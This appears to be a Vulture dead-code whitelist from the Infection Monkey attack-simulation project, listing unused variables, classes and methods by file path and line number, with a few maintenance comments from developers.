VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45)
DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48)
_.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26)
PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4)
internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43)
config_error # unused variable (monkey/monkey_island/cc/models/monkey.py:53)
pba_results # unused variable (monkey/monkey_island/cc/models/monkey.py:55)
command_control_channel # unused variable (monkey/monkey_island/cc/models/monkey.py:58)
meta # unused variable (monkey/monkey_island/cc/models/zero_trust/finding.py:37)
meta # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:34)
expire_at # unused variable (monkey/monkey_island/cc/models/monkey_ttl.py:36)
meta # unused variable (monkey/monkey_island/cc/models/config.py:11)
meta # unused variable (monkey/monkey_island/cc/models/creds.py:9)
meta # unused variable (monkey/monkey_island/cc/models/edge.py:5)
Config # unused class (monkey/monkey_island/cc/models/config.py:4)
Creds # unused class (monkey/monkey_island/cc/models/creds.py:4)
_.do_CONNECT # unused method (monkey/infection_monkey/transport/http.py:151)
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:122)
_.do_HEAD # unused method (monkey/infection_monkey/transport/http.py:61)
_.do_GET # unused method (monkey/infection_monkey/transport/http.py:38)
_.do_POST # unused method (monkey/infection_monkey/transport/http.py:34)
_.do_GET # unused method (monkey/infection_monkey/exploit/weblogic.py:237)
ElasticFinger # unused class (monkey/infection_monkey/network/elasticfinger.py:18)
HTTPFinger # unused class (monkey/infection_monkey/network/httpfinger.py:9)
MySQLFinger # unused class (monkey/infection_monkey/network/mysqlfinger.py:13)
SSHFinger # unused class (monkey/infection_monkey/network/sshfinger.py:15)
ClearCommandHistory # unused class (monkey/infection_monkey/post_breach/actions/clear_command_history.py:11)
AccountDiscovery # unused class (monkey/infection_monkey/post_breach/actions/discover_accounts.py:8)
ModifyShellStartupFiles # unused class (monkey/infection_monkey/post_breach/actions/modify_shell_startup_files.py:11)
Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timestomping.py:6)
SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15)
AwsCollector # unused class (monkey/infection_monkey/system_info/collectors/aws_collector.py:15)
EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19)
HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10)
ProcessListCollector # unused class (monkey/infection_monkey/system_info/collectors/process_list_collector.py:18)
_.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11)
_.representations # unused attribute (monkey/monkey_island/cc/app.py:180)
_.log_message # unused method (monkey/infection_monkey/transport/http.py:188)
_.log_message # unused method (monkey/infection_monkey/transport/http.py:109)
_.version_string # unused method (monkey/infection_monkey/transport/http.py:148)
_.version_string # unused method (monkey/infection_monkey/transport/http.py:27)
_.close_connection # unused attribute (monkey/infection_monkey/transport/http.py:57)
protocol_version # unused variable (monkey/infection_monkey/transport/http.py:24)
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3)
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3)
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4)
hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py:4)
_.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345)
_.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344)
_.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79)
_.do_exit # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:96)
_.prompt # unused attribute (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:108)
_.prompt # unused attribute (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:125)
keytab # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:16)
no_pass # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:18)
ts # unused variable (monkey/infection_monkey/exploit/zerologon_utils/options.py:25)
opnum # unused variable (monkey/infection_monkey/exploit/zerologon.py:466)
structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:467)
structure # unused variable (monkey/infection_monkey/exploit/zerologon.py:478)
_._port # unused attribute (monkey/infection_monkey/exploit/win_ms08_067.py:123)
oid_set # unused variable (monkey/infection_monkey/exploit/tools/wmi_tools.py:96)
export_monkey_telems # unused variable (monkey/infection_monkey/config.py:282)
NoInternetError # unused class (monkey/common/utils/exceptions.py:33)
_.__isabstractmethod__ # unused attribute (monkey/common/utils/code_utils.py:11)
MIMIKATZ # unused variable (monkey/common/utils/attack_utils.py:21)
MIMIKATZ_WINAPI # unused variable (monkey/common/utils/attack_utils.py:25)
DROPPER # unused variable (monkey/common/utils/attack_utils.py:29)
pytest_addoption # unused function (envs/os_compatibility/conftest.py:4)
pytest_addoption # unused function (envs/monkey_zoo/blackbox/conftest.py:4)
pytest_runtest_setup # unused function (envs/monkey_zoo/blackbox/conftest.py:47)
config_value_list # unused variable (envs/monkey_zoo/blackbox/config_templates/smb_pth.py:10)
_.dashboard_name # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:13)
_.checked_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:14)
_.flagged_items # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:15)
_.rationale # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:17)
_.remediation # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:18)
_.compliance # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:19)
_.references # unused attribute (monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py:20)
ACM # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:8)
AWSLAMBDA # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:9)
DIRECTCONNECT # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:14)
EFS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:16)
ELASTICACHE # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:17)
EMR # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:20)
KMS # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:22)
ROUTE53 # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:25)
SECRETSMANAGER # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py:31)
RDS_SNAPSHOT_PUBLIC # unused variable (monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py:17)
dashboard_name # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:18)
checked_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:19)
flagged_items # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:20)
rationale # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:22)
remediation # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:23)
compliance # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:24)
references # unused variable (monkey/monkey_island/cc/models/zero_trust/scoutsuite_rule.py:25)
ALIBABA # unused variable (monkey/common/cloud/scoutsuite_consts.py:8)
ORACLE # unused variable (monkey/common/cloud/scoutsuite_consts.py:9)
ALIBABA # unused variable (monkey/common/cloud/environment_names.py:10)
IBM # unused variable (monkey/common/cloud/environment_names.py:11)
DigitalOcean # unused variable (monkey/common/cloud/environment_names.py:12)
_.aws_info # unused attribute (monkey/monkey_island/cc/environment/aws.py:13)
# these are not needed for it to work, but may be useful extra information to understand what's going on
WINDOWS_PBA_TYPE # unused variable (monkey/monkey_island/cc/resources/pba_file_upload.py:23)
WINDOWS_TTL # unused variable (monkey/infection_monkey/network/ping_scanner.py:17)
wlist # unused variable (monkey/infection_monkey/transport/tcp.py:28)
wlist # unused variable (monkey/infection_monkey/transport/http.py:176)
charset # unused variable (monkey/infection_monkey/network/mysqlfinger.py:81)
salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78)
thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61)
# leaving this since there's a TODO related to it
_.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63)
# not 100% sure about these? are these being/will be used somewhere else?
LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8)
delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85)
MongoQueryJSONEncoder # unused class (envs/monkey_zoo/blackbox/utils/json_encoder.py:6)